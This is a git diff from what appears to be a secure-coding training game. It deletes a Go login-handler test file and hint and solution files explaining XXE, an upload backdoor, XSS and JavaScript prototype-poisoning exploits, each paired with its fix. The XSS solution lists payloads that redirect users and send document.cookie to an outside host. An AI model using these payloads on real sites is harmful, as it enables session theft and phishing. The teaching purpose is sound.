-// https://go.dev/dl/ - -package main - -import ( - "bytes" - "log" - "net/http" - "net/http/httptest" - "os" - "strings" - "testing" - "time" -) - -func TestLoginHandler_UserEnumeration_InvalidEmail(t *testing.T) { - reqBody := `{"email": "invalid@example.com", "password": "password12345"}` - req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) - if err != nil { - t.Fatalf("Failed to create request: %v", err) - } - - recorder := httptest.NewRecorder() - handler := http.HandlerFunc(loginHandler) - handler.ServeHTTP(recorder, req) - - if recorder.Code != http.StatusUnauthorized { - t.Errorf("Expected status code %d, but got %d", http.StatusUnauthorized, recorder.Code) - } - - respBody := strings.TrimSpace(recorder.Body.String()) - expectedRespBody := "Invalid Email or Password" - if respBody != expectedRespBody { - t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody) - } -} - -func TestLoginHandler_SensitiveLog_InvalidEmail_FIXME(t *testing.T) { - var buf bytes.Buffer - log.SetOutput(&buf) - - reqBody := `{"email": "in.valid@ex@mple.com", "password": "password12345"}` - req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) - if err != nil { - t.Fatalf("Failed to create request: %v", err) - } - - recorder := httptest.NewRecorder() - handler := http.HandlerFunc(loginHandler) - handler.ServeHTTP(recorder, req) - - if recorder.Code != http.StatusBadRequest { - t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code) - } - - logOutput := buf.String() - expectedRespLog := "Invalid email format" - if strings.Contains(logOutput, "in.valid@ex@mple.com") { - t.Errorf("Expected body %q, but got %q", expectedRespLog, logOutput) - t.Fail() - } -} - -func TestLoginHandler_SensitiveLog_ValidCredentials_FIXME(t *testing.T) { - var buf bytes.Buffer - log.SetOutput(&buf) - - reqBody := `{"email": "user1@example.com", "password": "password12345"}` - req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) - if err != nil { - t.Fatalf("Failed to create request: %v", err) - } - - recorder := httptest.NewRecorder() - handler := http.HandlerFunc(loginHandler) - handler.ServeHTTP(recorder, req) - - if recorder.Code != http.StatusOK { - t.Errorf("Expected status code %d, but got %d", http.StatusOK, recorder.Code) - } - - logOutput := buf.String() - expectedRespLog := "Successful login request" - if strings.Contains(logOutput, "user1@example.com") || strings.Contains(logOutput, "password12345") { - t.Errorf("Expected body %q, but got %q", expectedRespLog, logOutput) - t.Fail() - } -} - -func TestLoginHandler_ValidCredentials(t *testing.T) { - reqBody := `{"email": "user1@example.com", "password": "password12345"}` - req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) - if err != nil { - t.Fatalf("Failed to create request: %v", err) - } - - recorder := httptest.NewRecorder() - handler := http.HandlerFunc(loginHandler) - handler.ServeHTTP(recorder, req) - - if recorder.Code != http.StatusOK { - t.Errorf("Expected status code %d, but got %d", http.StatusOK, recorder.Code) - } -} - -func TestLoginHandler_InvalidCredentials(t *testing.T) { - reqBody := `{"email": "user1@example.com", "password": "invalid_password"}` - req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) - if err != nil { - t.Fatalf("Failed to create request: %v", err) - } - - recorder := httptest.NewRecorder() - handler := http.HandlerFunc(loginHandler) - handler.ServeHTTP(recorder, req) - - if recorder.Code != http.StatusUnauthorized { - t.Errorf("Expected status code %d, but got %d", http.StatusUnauthorized, recorder.Code) - } - - respBody := strings.TrimSpace(recorder.Body.String()) - if respBody != "Invalid Email or Password" { - t.Errorf("Expected body %q, but got %q", "Invalid Email or Password", respBody) - } -} - -func TestLoginHandler_InvalidEmailFormat(t *testing.T) { - reqBody := `{"email": "invalid_email", "password": "password12345"}` - req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) - if err != nil { - t.Fatalf("Failed to create request: %v", err) - } - - recorder := httptest.NewRecorder() - handler := http.HandlerFunc(loginHandler) - handler.ServeHTTP(recorder, req) - - if recorder.Code != http.StatusBadRequest { - t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code) - } - - respBody := strings.TrimSpace(recorder.Body.String()) - expectedRespBody := "Invalid email format" - if respBody != expectedRespBody { - t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody) - } -} - -func TestLoginHandler_InvalidRequestMethod(t *testing.T) { - req, err := http.NewRequest("GET", "/login", nil) - if err != nil { - t.Fatalf("Failed to create request: %v", err) - } - - recorder := httptest.NewRecorder() - handler := http.HandlerFunc(loginHandler) - handler.ServeHTTP(recorder, req) - - if recorder.Code != http.StatusMethodNotAllowed { - t.Errorf("Expected status code %d, but got %d", http.StatusMethodNotAllowed, recorder.Code) - } - - respBody := strings.TrimSpace(recorder.Body.String()) - expectedRespBody := "Invalid request method" - if respBody != expectedRespBody { - t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody) - } -} - -func TestLoginHandler_UnknownFieldsInRequestBody(t *testing.T) { - reqBody := `{"email": "user1@example.com", "password": "password12345", "unknown_field": "value"}` - - req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) - if err != nil { - t.Fatalf("Failed to create request: %v", err) - } - - recorder := httptest.NewRecorder() - handler := http.HandlerFunc(loginHandler) - handler.ServeHTTP(recorder, req) - - if recorder.Code != http.StatusBadRequest { - t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code) - } - - respBody := strings.TrimSpace(recorder.Body.String()) - expectedRespBody := "Cannot decode body" - if respBody != expectedRespBody { - t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody) - } -} - -func TestMain(m *testing.M) { - go func() { - main() - }() - - time.Sleep(500 * time.Millisecond) - - exitCode := m.Run() - os.Exit(exitCode) -} - -// Contribute new levels to the game in 3 simple steps! -// Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md \ No newline at end of file diff --git a/Season-2/Level-3/hint.txt b/Season-2/Level-3/hint.txt deleted file mode 100644 index 5aff459..0000000 --- a/Season-2/Level-3/hint.txt +++ /dev/null @@ -1,8 +0,0 @@ -Entities are primarily used to make XML documents more modular, maintainable, and efficient. -Hackers always look for unconventional ways of exploiting a feature. - -Especially if that feature (replaceEntities) allows them to retrieve file contents from the server. -The server also appears to behave differently when retrieving files with a specific extension. - -Can you trick the server into uploading files with that special extension and.. have an impact to what this code does? -But do we really need the upload endpoint? Why did the developer create it in the first place? \ No newline at end of file diff --git a/Season-2/Level-3/solution.js b/Season-2/Level-3/solution.js deleted file mode 100644 index 6100f7e..0000000 --- a/Season-2/Level-3/solution.js +++ /dev/null @@ -1,95 +0,0 @@ -// Contribute new levels to the game in 3 simple steps! -// Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md - -const express = require("express"); -const bodyParser = require("body-parser"); -const libxmljs = require("libxmljs"); -const multer = require("multer"); -const app = express(); - -app.use(bodyParser.json()); -app.use(bodyParser.text({ type: "application/xml" })); - -const storage = multer.memoryStorage(); -const upload = multer({ storage }); - -app.post("/ufo/upload", upload.single("file"), (req, res) => { - return res.status(501).send("Not Implemented."); - // We don't need this feature/endpoint, it's a backdoor! - // Removing this prevents an attacker to perform a Remote Code Execution - // by uploading a file with a .admin extension that is then executed on the server. - // The best code is less code. If you don't need something, don't include it. -}); - -app.post("/ufo", (req, res) => { - const contentType = req.headers["content-type"]; - - if (contentType === "application/json") { - console.log("Received JSON data:", req.body); - res.status(200).json({ ufo: "Received JSON data from an unknown planet." }); - } else if (contentType === "application/xml") { - try { - const xmlDoc = libxmljs.parseXml(req.body, { - replaceEntities: false, // Disabled the option to replace XML entities - recover: false, // Disabled the parser to recover from certain parsing errors - nonet: true, // Disabled network access when parsing - }); - - console.log("Received XML data from XMLon:", xmlDoc.toString()); - - const extractedContent = []; - - xmlDoc - .root() - .childNodes() - .forEach((node) => { - if (node.type() === "element") { - extractedContent.push(node.text()); - } - }); - - if ( - xmlDoc.toString().includes('SYSTEM "') && - xmlDoc.toString().includes(".admin") - ) { - // Removed the code to execute commands within the .admin file on the server - res.status(400).send("Invalid XML"); - } else { - res - .status(200) - .set("Content-Type", "text/plain") - .send(extractedContent.join(" ")); - } - } catch (error) { - console.error("XML parsing or validation error"); - res.status(400).send("Invalid XML"); - } - } else { - res.status(405).send("Unsupported content type"); - } -}); - -const PORT = process.env.PORT || 3000; -const server = app.listen(PORT, () => { - console.log(`Server is running on port ${PORT}`); -}); - -module.exports = server; - -// Solution explanation: - -// Parsing data can cause XXE (XML External Entity) vulnerabilities due to the way XML -// documents are processed allowing attackers to inject malicious external entities. - -// To fix this issue, we need to edit the XMLParseOptions to: -// - Disable the option to replace XML entities (replaceEntities: false) -// - Disable the parser to recover from certain parsing errors (recover: false) -// - Disabled network access when parsing (nonet: true) - -// Trusting client inputs in any form (request body, query parameter or uploaded file data) -// can be really dangerous and even lead to a Remote Code Execution (RCE) vulnerability. - -// To fix this issue, we need to: -// - Remove the unnecessary file upload endpoint that allows you to upload any filetypes -// - Remove the feature that executes a command on the server coming from a file -// with the .admin extension parsed as an XML "SYSTEM" entity. \ No newline at end of file diff --git a/Season-2/Level-4/hint.txt b/Season-2/Level-4/hint.txt deleted file mode 100644 index 5d0fa72..0000000 --- a/Season-2/Level-4/hint.txt +++ /dev/null @@ -1 +0,0 @@ -How does the site handle user input before and after displaying it? \ No newline at end of file diff --git a/Season-2/Level-4/solution.txt b/Season-2/Level-4/solution.txt deleted file mode 100644 index 499e4c8..0000000 --- a/Season-2/Level-4/solution.txt +++ /dev/null @@ -1,68 +0,0 @@ -# Contribute new levels to the game in 3 simple steps! -# Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md - -This code is vulnerable to Cross-Site Scripting (XSS). - -Learn more about Cross-Site Scripting (XSS): https://portswigger.net/web-security/cross-site-scripting -Example from a security advisory: https://securitylab.github.com/advisories/GHSL-2023-084_Pay/ - -Why the application is vulnerable to XSS? -It seems that the user input is properly sanitized, as shown below: - -planet = request.form.get('planet') -sanitized_planet = re.sub(r'[<>{}[\]]', '', planet if planet else '') - -What if all HTML's start and end tags were pruned away, what could go wrong in that case? -Furthermore, an anti-XSS defense is implemented, preventing inputs with the 'script' tag. -However, other tags, such as the 'img' tag, can still be used to exploit a XSS bug as follows: - -Exploit: -<img src="x" onerror="alert(1)"> - -Explanation: -With this payload, the XSS attack will execute successfully, since it will force the browser to open an -alert dialog box. There are several reasons why this is possible, as explained below: - -1) The regular expression (RegEx) doesn't cover for the () characters and these are necessary for function -invocation in JavaScript. -2) The sanitization doesn't touch the < and > special entities. -3) The 'display.html' is showing the planet name with the 'safe' option. This is always a risky decision. -4) The 'display.html' is reusing an unprotected planet name and rendering it at another location as HTML. - -How can we fix this? - -1) Never reuse a content rendered in 'safe' regime as HTML. It's unescaped. -2) Don't reinvent the wheel by coming up with your own escaping facility. -You can use the function 'escape', which is a built-in function inside the markup module used by Flask. -This function helps to escape special characters in the input, preventing them from being executed -as HTML or JavaScript. - -Example: -from markupsafe import escape - -sanitized_planet = escape(planet) - -What else can XSS do? -- Steal cookies and session information -- Redirect to malicious websites -- Modify website content -- Phishing -- Keylogging - -How to prevent XSS? -- Sanitize user input properly -- Use Content Security Policy (CSP) -- Use HttpOnly Cookies -- Use X-XSS-Protection header - -Here are some exploit examples: - -- Redirect to phishing page using XSS: -<img src="x" onerror="window.location.href = 'https://google.com';"> - -- Get cookies: -<img src="x" onerror="window.location.href = 'https://google.com/?cookie=' + document.cookie;"> - -- Modify website content: -You can inject any phishing page, malicious page, or any other content to the website using XSS, by: -<img src="x" onerror="document.body.innerHTML = 'Website is hacked';"> \ No newline at end of file diff --git a/Season-2/Level-5/hack-1.js b/Season-2/Level-5/hack-1.js deleted file mode 100644 index 0773df3..0000000 --- a/Season-2/Level-5/hack-1.js +++ /dev/null @@ -1,25 +0,0 @@ -// EXPLOIT 1 - -// How to run the following exploit: - -// 1. Double click index.html to open it in any browser. Are you using GitHub Codespaces? - -// Please note that if you are inside a codespace, it is not possible to perform step 1. -// Instead, run the following command inside the codespace's terminal: -// `cd Season-2/Level-5/ && python3 -m http.server` -// A pop up window will appear on the bottom right informing you that -// "Your application running on port 8000 is available". Now click "Open in Browser". -// Another way to open the application on port 8000 is by clicking on the "Ports" tab -// in terminal, followed by clicking on its respective URL. - -// 2. Copy the following line, paste it in the javascript console and press enter. -var s = { toString: function() { alert('Exploit 1'); } }; - -// 3. Now copy this line, paste it in the javascript console and press enter. -CryptoAPI.sha1.hash(s) - -// 4. A popup should appear with the text "Exploit 1" in it. If it does, the exploit was successful. - -// 5. Refresh the page to reset the level. - -// * If the exploit was unsuccessful, you can proceed to the next exploit inside hack-2.js. diff --git a/Season-2/Level-5/hack-2.js b/Season-2/Level-5/hack-2.js deleted file mode 100644 index 806206f..0000000 --- a/Season-2/Level-5/hack-2.js +++ /dev/null @@ -1,25 +0,0 @@ -// EXPLOIT 2 - -// How to run the following exploit: - -// 1. Double click index.html to open it in any browser. Are you using GitHub Codespaces? - -// Please note that if you are inside a codespace, it is not possible to perform step 1. -// Instead, run the following command inside the codespace's terminal: -// `cd Season-2/Level-5/ && python3 -m http.server` -// A pop up window will appear on the bottom right informing you that -// "Your application running on port 8000 is available". Now click "Open in Browser". -// Another way to open the application on port 8000 is by clicking on the "Ports" tab -// in terminal, followed by clicking on its respective URL. - -// 2. Copy the following line, paste it in the javascript console and press enter. -CryptoAPI.sha1._round = function() { alert('Exploit 2'); }; - -// 3. Now copy this line, paste it in the javascript console and press enter. -CryptoAPI.sha1.hash("abc") - -// 4. A popup should appear with the text "Exploit 2" in it. If it does, the exploit was successful. - -// 5. Refresh the page to reset the level. - -// * If the exploit was unsuccessful, you can proceed to the next exploit inside hack-3.js. diff --git a/Season-2/Level-5/hack-3.js b/Season-2/Level-5/hack-3.js deleted file mode 100644 index 2e68a5e..0000000 --- a/Season-2/Level-5/hack-3.js +++ /dev/null @@ -1,25 +0,0 @@ -// EXPLOIT 3 - -// How to run the following exploit: - -// 1. Double click index.html to open it in any browser. Are you using Codespaces? - -// Please note that if you are inside a codespace, it is not possible to perform step 1. -// Instead, run the following command inside the codespace's terminal: -// `cd Season-2/Level-5/ && python3 -m http.server` -// A pop up window will appear on the bottom right informing you that -// "Your application running on port 8000 is available". Now click "Open in Browser". -// Another way to open the application on port 8000 is by clicking on the "Ports" tab -// in terminal, followed by clicking on its respective URL. - -// 2. Copy the following line, paste it in the javascript console and press enter. -Array.prototype.__defineSetter__("0", function() { alert('Exploit 3'); }); - -// 3. Now copy this line, paste it in the javascript console and press enter. -CryptoAPI.sha1.hash("abc") - -// 4. A popup should appear with the text "Exploit 3" in it. If it does, the exploit was successful. - -// 5. Refresh the page to reset the level. - -// * If the exploit was unsuccessful, you have now resolved this exploit. Congratulations! diff --git a/Season-2/Level-5/hint-1.txt b/Season-2/Level-5/hint-1.txt deleted file mode 100644 index 1cae2e5..0000000 --- a/Season-2/Level-5/hint-1.txt +++ /dev/null @@ -1,24 +0,0 @@ -We can provide a malicious object as the parameter for CryptoAPI.sha1.hash(). -What does this trigger? - -Example: -$ var s = { toString: function() { alert('Exploit 1'); } }; -$ CryptoAPI.sha1.hash(s) - -Do you want to visualize the above? Follow these instructions: - -1. Double click index.html to open it in any browser. Are you using GitHub Codespaces? - -// Please note that if you are inside a codespace, it is not possible to perform step 1. -// Instead, run the following command inside the codespace's terminal: -// `cd Season-2/Level-5/ && python3 -m http.server` -// A pop up window will appear on the bottom right informing you that -// "Your application running on port 8000 is available". Now click "Open in Browser". -// Another way to open the application on port 8000 is by clicking on the "Ports" tab -// in terminal, followed by clicking on its respective URL. - -2. Copy the first line of the example, paste it in the javascript console and press enter. - -3. Now copy the second line, paste it in the javascript console and press enter. - -4. A popup should appear with the text "Exploit 1" in it. If it does, the exploit was successful. diff --git a/Season-2/Level-5/hint-2.txt b/Season-2/Level-5/hint-2.txt deleted file mode 100644 index 6747d92..0000000 --- a/Season-2/Level-5/hint-2.txt +++ /dev/null @@ -1,3 +0,0 @@ -What do you think about the property reference CryptoAPI.sha1._round? - -What if the problem is in line 45 and not in line 53? \ No newline at end of file diff --git a/Season-2/Level-5/hint-3.txt b/Season-2/Level-5/hint-3.txt deleted file mode 100644 index 48ff5d0..0000000 --- a/Season-2/Level-5/hint-3.txt +++ /dev/null @@ -1 +0,0 @@ -The array "w" is initialised as an empty array on line 25, any opinions? \ No newline at end of file diff --git a/Season-2/Level-5/solution.js b/Season-2/Level-5/solution.js deleted file mode 100644 index 63d741e..0000000 --- a/Season-2/Level-5/solution.js +++ /dev/null @@ -1,221 +0,0 @@ -// Contribute new levels to the game in 3 simple steps! -// Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md - -// In-depth explanation follows at the end of the file. Scroll down to see it. -var CryptoAPI = (function() { - var encoding = { - a2b: function(a) { }, - b2a: function(b) { } - }; - - var API = { - sha1: { - name: 'sha1', - identifier: '2b0e03021a', - size: 20, - block: 64, - hash: function(s) { - - // FIX for hack-1.js - if (typeof s !== "string") { - throw "Error: CryptoAPI.sha1.hash() should be called with a 'normal' parameter (i.e., a string)"; - } - - var len = (s += '\x80').length, - blocks = len >> 6, - chunk = len & 63, - res = "", - i = 0, - j = 0, - H = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0], - - // FIX for hack-3.js - w = [ - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 - ]; - - while (chunk++ != 56) { - s += "\x00"; - if (chunk == 64) { - blocks++; - chunk = 0; - } - } - - for (s += "\x00\x00\x00\x00", chunk = 3, len = 8 * (len - 1); chunk >= 0; chunk--) { - s += encoding.b2a(len >> (8 * chunk) & 255); - } - - for (i = 0; i < s.length; i++) { - j = (j << 8) + encoding.a2b(s[i]); - if ((i & 3) == 3) { - w[(i >> 2) & 15] = j; - j = 0; - } - // FIX for hack-2.js - if ((i & 63) == 63) internalRound(H, w); - } - - for (i = 0; i < H.length; i++) - for (j = 3; j >= 0; j--) - res += encoding.b2a(H[i] >> (8 * j) & 255); - return res; - }, // End "hash" - _round: function(H, w) { } - } // End "sha1" - }; // End "API" - - // FIX for hack-2.js - var internalRound = API.sha1._round; - - return API; // End body of anonymous function -})(); // End "CryptoAPI" - - -// -------------------------------------------------------------------------------------------- -// Explanation -// -------------------------------------------------------------------------------------------- -// Vulnerability 1 -// -------------------------------------------------------------------------------------------- - -// The parameter "s" could be an object, and when cast to -// a string by the implicit type conversion of the "+=" operator, the -// conversion can trigger malicious code execution. (This operator is used -// on lines 18, 28, 35 and 36 of code.js.) - - -// Exploit 1 - -// We can provide a malicious object as the parameter for -// CryptoAPI.sha1.hash() that triggers the type conversion, e.g.: - -var x = { toString: function() { alert('1'); } }; - -// or by what was provided in hack-1.js - - -// Fix 1 - -// We could fix this vulnerability by adding between lines 17 and 18 of code.js. - -if (typeof s !== "string") { - throw "Error: CryptoAPI.sha1.hash() should be called with a 'normal' parameter (i.e., a string)"; -} - -// becoming - -// code ... -hash: function example (input) { - if (typeof input !== "string") { - throw "Error: CryptoAPI.sha1.hash() should be called with a 'normal' parameter (i.e., a string)"; - } - var len = (input += '\x80').length -// more code ... -} - - -// -------------------------------------------------------------------------------------------- -// Vulnerability 2 -// -------------------------------------------------------------------------------------------- - -// The reference to CryptoAPI.sha1._round on line 45 of code.js is -// non-local, so the "_round" property of CryptoAPI.sha1 can be overwritten -// with attacker-defined code that will be executed by CryptoAPI.sha1.hash. -// It's important to realise that this is because of how the function is -// called on line 45 of code.js, not because of how it is defined on line 53. - - -// Exploit 2 - -// We could alter the definition of CryptoAPI.sha1._round after -// loading CryptoAPI, e.g.: - -CryptoAPI.sha1._round = function() { alert('2'); }; - -// or by what was provided in hack-2.js - - -// Fix 2 - -// We could fix this vulnerability by storing a local -// reference to the "_round" property on line 56 of code.js, -// after "API" has been defined: - -var internalRound = API.sha1._round; - -// and using this local reference in the body of the "hash" function in the -// invocation of the function on line 45 of code.js instead: - -if ((i & 63) == 63) internalRound(H, w); - -// This works because in JS, a method is first going to be -// searched locally and then globally (non-locally). - - - -// -------------------------------------------------------------------------------------------- -// Vulnerability 3 -// -------------------------------------------------------------------------------------------- - -// The array "w" is initialised as an empty array on line 25 of code.js, -// but other code in CryptoAPI.sha1.hash makes implicit references to -// elements at specific indices (which are simply properties of an object), -// so an assignment to one of these elements (e.g., on line 42) could -// trigger malicious code execution as a result of poisoning the Array -// prototype. Specifically, 128 elements of "w" are accessed by the CryptoAPI code. - -// Although the reason for this vulnerability was the failure -// to correctly initialise "w" on line 25 of code.js with the number of elements that -// would be used by the code that followed it, someone could also identify -// that the assignment on line 42 of code.js could trigger malicious code execution. - - -// Exploit 3 - -// We could poison the Array prototype before CryptoAPI is -// defined such that attempting to set the value of the element at index 0 -// in an array triggers execution of user-defined code, e.g.: - -var g = null; -var s = null; - -(function() { - var zero = undefined; - g = function() { return zero; } - s = function(x) { alert('3'); zero = x; } -})(); - -Object.defineProperty(Array.prototype, "0", { get: g, set: s }); - -// or the quicker, dirtier hack: - -Array.prototype.__defineSetter__("0", function() { alert('3'); }); - -// or by what was provided in hack-3.js - - -// Fix 3 - -// 128 elements of "w" are accessed by the CryptoAPI code, so -// we could fix this vulnerability by declaring "w" as an array initialised -// explicitly with 128 elements. This way, when we attempt to set the value -// of an element in "w" on line 42 of code.js we don't inherit a malicious -// setter for that property via the Array prototype. - -w = [ - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 - ]; \ No newline at end of file diff --git a/Season-2/README.md b/Season-2/README.md index f9183cd..4b61f70 100644 --- a/Season-2/README.md +++ b/Season-2/README.md @@ -32,7 +32,7 @@ Jarvis, your trusty geek who gets really excited with automating everything, has 1. Review the code inside `.github/workflows/jarvis-code.yml`. Can you spot the bug(s)? 1. Fix the bug and push your solution so that `GitHub Actions` can run. 1. You successfully completed this level when `.github/workflows/jarvis-hack.yml` passes 🟒. -1. If you get stuck, read the hint in `hint-1.txt` and try again. +1. If you get stuck, read the hint in `hint-1.txt` and try again. (Hints & Solutions to be added from March 2025) 1. If you need more guidance, read the hint in `hint-2.txt` and try again. 1. Compare your solution with `solution.yml`. Remember, there are several possible solutions. @@ -66,7 +66,7 @@ Due to the nature of file conventions in the `go` programming language, some fil - `code` includes the vulnerable code to be reviewed. - `code_test` contains the unit tests that should still pass 🟒 after you implement your fix. - `hack_test` exploits the vulnerabilities in `code`. Running `hack_test.go` will fail initially and your goal is to get this file to pass 🟒. -- `hint` files offer guidance if you get stuck. We provide 2 hints for this level. Remember that you can also view the CodeQL scanning alerts for guidance. +- `hint` files offer guidance if you get stuck. We provide 2 hints for this level. Remember that you can also view the CodeQL scanning alerts for guidance. (Hints & Solutions to be added from March 2025) - `solution` provides one working solution. There are several possible solutions. - `solution_test` is identical to `code_test` and it's used to test the solution for failing and passing payloads. - `go.mod` is a `go` programming language convention for a module residing at the root of the module's directory hierarchy. @@ -110,7 +110,7 @@ For Levels 2-4 in Season 2, we encourage you to enable code scanning with CodeQL - `hint` offers guidance if you get stuck. Remember that you can also view the CodeQL scanning alerts. - `package.json` contains all the dependencies required for this level. You can install them by running `npm install`. - `package-lock.json` ensures that the same dependencies are installed consistently across different environments. -- `solution` provides one working solution. There are several possible solutions. +- `solution` provides one working solution. There are several possible solutions. (Hints & Solutions to be added from March 2025) - `tests` contains the unit tests that should still pass 🟒 after you implement your fix. - `.env.production` is an internal server-side file containing a secret environment variable. @@ -151,7 +151,7 @@ Our solar system is 4.6 billion years old and it's constantly expanding. So does - `code` includes the vulnerable code to be reviewed. - `hack` exploits the vulnerabilities in `code`. Running `hack` will fail initially and your goal is to get this file to pass 🟒. - `hint` offers guidance if you get stuck. Remember that you can also view the CodeQL scanning alerts. -- `solution` provides one working solution. There are several possible solutions. +- `solution` provides one working solution. There are several possible solutions. (Hints & Solutions to be added from March 2025) - `templates/index.html` host a simple front-end to interact with the back-end. - `tests` contains the unit tests that should still pass 🟒 after you implement your fix. @@ -186,7 +186,7 @@ You can be next! We welcome contributions for new game levels! Learn more [here] - `code` includes the vulnerable code to be reviewed. - `hack` files exploit the vulnerabilities in `code`. For this level, the exploits couldn't be automated. To run them, follow the instructions provided inside. -- `hint` files offer guidance if you get stuck. +- `hint` files offer guidance if you get stuck. (Hints & Solutions to be added from March 2025) - `solution` provides one working solution. There are several possible solutions. - `index` hosts the homepage, featuring a javascript console.